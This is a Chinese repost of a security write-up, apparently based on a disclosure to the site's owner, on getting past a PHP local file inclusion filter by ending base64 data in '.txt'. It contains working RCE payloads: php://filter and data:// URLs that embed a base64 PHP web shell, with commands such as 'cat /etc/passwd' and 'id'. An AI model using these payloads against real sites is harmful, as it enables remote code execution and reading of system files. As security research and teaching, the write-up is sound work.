背景故事是这样的:
在一个PHP网站上,我发现了一个LFI(本地文件包含)[有一个URL参数检查其是否以“txt”结尾;如果是,则只会显示它]。因此,我向网站所有者报告说,我有一个使用PHP过滤器的RCE payload:
php://filter/convert.quoted-printable-encode/resource=data:text/plain,phpcode
他决定只阻止PHP开头(<?PHP)和结尾(?>)的标签。那么现在我该如何绕过这个拦截?
基本上,PHP过滤器链所做的是收集Base64字符串的字符(使用名为convert.iconv的PHP过滤器组),然后对其进行Base64解码。也许我可以只提供Base64然后对其解码,而不收集Base64字符串?
为此,我需要一个以“.txt”结尾的base64字符串。当我询问ChatGPT如何创建以“.txt”结尾的base64时,它给了我这样的信息:
乍一看,这似乎完全没有帮助。你不能只是添加“.txt”并希望它保持base64。但一些研究表明,PHP的工作方式有所不同。
PHP有一种使用convert.base64-decode过滤器处理base64的独特方法。它只是忽略非base64字符。这意味着,如果我试图解码这个base64字符串:“bWF0YW4ta&&C5j#b20K….?PHP=”,PHP将忽略所有非base64字符,并将其解码为:“bWF0YW4taC5jb20KPHP=”(解码为“matan-h.com<s”)。
让我们试试以下例子:
PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
解码后:
'cmd']);echo 'Shell done !'; system($_GET[
让我们尝试以”.txt“来结束这一切,仍然得到一个没有点的有效 base64。事实证明这很容易,我需要做的就是删除末尾填充(末尾的=符号)并将其替换为“.txt”(您也可以使用其他扩展名,例如 .php 等,只要它们可以在 base64 中)。为了使base64更易于人类阅读,让我们在扩展之前添加一个+号。
它在 PHP 解码 base64 方面没有太多作用,但如果我们尝试在bash中用base64解码并没有扩展名(没有“.”),它会很高兴。所以我们得到了第一个 RCE payload:
?cmd=cat%20/etc/passwd&file=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
我向所有者报告了这一点,他决定只阻止所有的php://protocol。
但LFI也支持 data:// 协议。在正常情况下,data:// 用于纯文本,如下所示:
data://text/plain, phpinfo();
但 data:// 也可用于解码 base64,使用:
data://text/plain;base64
但此协议不会忽略非base64字符。
显然,服务器只在文件以“txt”(不带点)结尾时才执行检查,而不是以“.txt”(带点)结束。这意味着,我可以只取前一个payload,删除“.”,并将其放入data协议中,然后获得第二个RCE payload(出于某种原因,我只能使用PHP对其进行解码。Python或bash[使用GNU base64]要求我在“txt”后添加一个等号来完成填充。):
?cmd=id&file=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+tx
文章来源:https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/
免责声明:
本公众号漏洞复现文章,SRC、渗透测试等文章,仅供学习参考,请勿用于实战!!有授权情况下除外!!由于传播、利用本公众号文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责
原文始发于微信公众号(sahx安全从业记):LFI(本地文件包含)绕过(使用base64)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论